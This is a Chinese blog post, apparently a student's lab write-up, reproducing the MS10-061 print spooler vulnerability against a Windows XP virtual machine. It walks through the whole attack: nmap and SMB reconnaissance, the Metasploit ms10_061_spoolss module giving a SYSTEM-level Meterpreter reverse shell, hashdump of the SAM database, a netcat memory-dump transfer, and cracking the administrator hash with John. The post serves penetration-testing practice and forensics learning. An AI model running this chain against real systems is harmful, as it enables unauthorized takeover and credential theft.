ms10-061漏洞复现


本实验是我在实验室学习渗透测试所做的第八个漏洞复现,时间较之前几个略长,主要是内容多了一点,以及需要用到的Helix在网上找不到下载链接,最后是在vmware的一个论坛上找到别人给的一个镜像网站,顶着二十几k的速度下了一晚上下完了。我将文件重新进行了上传,读者可自行选择是直链下载还是保存到百度网盘后下载。

漏洞介绍

Windows打印后台程序没有充分限制访问该服务的用户权限,攻击者可以通过提交特制的打印请求在windows系统目录(%SystemRoot%\system32)中创建文件。

攻击者可指定任意文件名,包括目录遍历,通过发送WritePrinter请求,攻击者可以完全控制创建文件的内容。

将文件写入到windows系统目录后,通过WMI来部署恶意程序,因为系统会自动运行%SYstemRoot%\System32\Wbem\MOF文件夹的mof文件、执行命令。

该漏洞首次被发现并应用于著名的Stuxnet蠕虫。

实验环境

攻击机:Kali Linux虚拟机

靶机:Windows xp sp3虚拟机

靶机环境配置

1. 获取靶机IP

ipconfig

2. 创建共享打印

打开控制面板,找到“打印机和传真”,双击打开后,右键选择“添加打印机”。有几个地方的配置可能需要修改一下:

后面还需要选择打印机厂商和型号,这个随便选择即可,名字也可以随意。不需要打印测试页。

完成后,右键新建的打印机,选择“共享”,点击下方的蓝字,不需要使用向导。

攻击

1. nmap扫描靶机

nmap -sS -sU -O -p137-139,445 靶机IP

根据结果可知,靶机存在NetBIOS和RPC服务(139,445)。

2. 查找NetBIOS名称

nmblookup -A 靶机IP

NetBIOS工作站名字:ALLEYN-DBDD2110

NetBIOS组名:WORKGROUP

Master Browser: _MSBROWSE_

第二列解释(NetBIOS后缀)可以参考百度百科:NetBIOS协议

第四列为节点类型:

节点类型 含义
B 0x01 Broadcast
P 0x02 Peer(WINS only)
M 0x04 Mixed(broadcast,then WINS)
H 0x08 Hybrid(WINS,then broadcast)

3. 访问SMB资源

smbclient -L \\NetBIOS工作站名字 -I 靶机IP -N

如果提示protocol negotiation failed: NT_STATUS_IO_TIMEOUT,就修改/etc/samba/smb.conf,在[global]下添加两行:

client min protocol = CORE
client max protocol = SMB3

正常情况下的返回结果如图,可以查看到我们之前在靶机创建的MyPrinter。

4. 使用MSF进行攻击

启动msfconsole,载入模块,查看需要配置的参数。

msfconsole
use exploit/windows/smb/ms10_061_spoolss
show options

之后配置各项参数。

设置payload参数并配置。

开始攻击,如果攻击成功,会出现下面的提示。

恶意程序被写入到靶机的%SystemRoot%\system32\cMityUuf3mMo72.exe,此程序运行后反弹一个shell给kali,从而建立了一个Meterpreter会话。该恶意程序是通过%SystemRoot%\system32\wbem\mof\WSsM5g8MoL5KHr.mof控制运行的。

5. 验证操作

可以看到我们已经获取了系统的system权限,``getpid也得到了当前Meterpreter会话的进程ID。执行shell`后可以直接进入靶机的命令行界面。

# 查看该PID的相关进程,可以看到刚才写入的恶意程序
tasklist /v /fi "PID eq "进程ID"
# 查找该PID关联的网络链接
netstat -nao | findstr "进程ID"

信息收集取证

1. 进行基本的信息收集取证

# 进程信息收集
tasklist > forensics_tasklist.txt
# 网络信息收集
netstat -ano > forensics_netstat.txt
# 目录文件信息收集
dir > dir_forensics.txt

收集完成后,退出shell。

2. 获取SAM数据库信息

输入hashdump获取SAM数据库,将获取到的信息复制到一个文本文件。

3. 建立远程取证收集环境

nc -lvvvp 7777 > ms10_061.dd

4. 收集受害者内存信息

Helix下载地址:

  1. 百度网盘

    链接:https://pan.baidu.com/s/1H19CAdqTOrhvOssfqxMVrA

    提取码:r16d

  2. 由onedrive转换生成的直链(推荐,但由于我也是第一次用这个,如果出什么问题的话请告知):

    点击此处

  3. 镜像网站(国内速度特别慢)

    点击此处

下载Helix 2008R1,下载完成后为一个iso文件,把它挂载在windows虚拟机上,然后在虚拟机中挂载并打开。

进行如下配置后,点击“Acquire”,出现弹窗后点击“Yes”。“Destination IP”为攻击机IP。

等待内存信息收集完成,完成后会自动关闭此cmd窗口。

收集完成后,回到kali,对7777端口的监听也自动结束了,ls -lh查看收集到的文件,共1.6G。

5. 收集其他取证文件

下载之前收集的进程信息、网络信息和恶意程序。

download C:\\WINDOWS\\system32\\forensics_tasklist.txt 下载目录
download C:\\WINDOWS\\system32\\forensics_netstat.txt 下载目录
download C:\\WINDOWS\\system32\\dir_forensics.txt 下载目录
download C:\\WINDOWS\\system32\\恶意程序名称 下载目录

下载完成后可以在对应的目录下看到收集到的文件。

6. 使用John破解密码

cp ./samhash.txt
grep -i admin samhash.txt > adminhash.txt
john --format=nt adminhash.txt

正常情况下,会在(Administrator)前面显示管理员密码,由于我没有设置密码,所以这里为空。

参考链接


文章作者: 恰醋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 恰醋 !
评论
 上一篇
OpenSSH命令注入漏洞复现 OpenSSH命令注入漏洞复现
2020年6月9日,研究人员Chinmay Pandya在Openssh中发现了一个漏洞,于7月18日公开。OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。
2020-09-10
下一篇 
通达OA任意用户登录漏洞复现 通达OA任意用户登录漏洞复现
攻击者在远程且未经授权的情况下,通过此漏洞可以任意用户身份登录到系统。
2020-08-31
  目录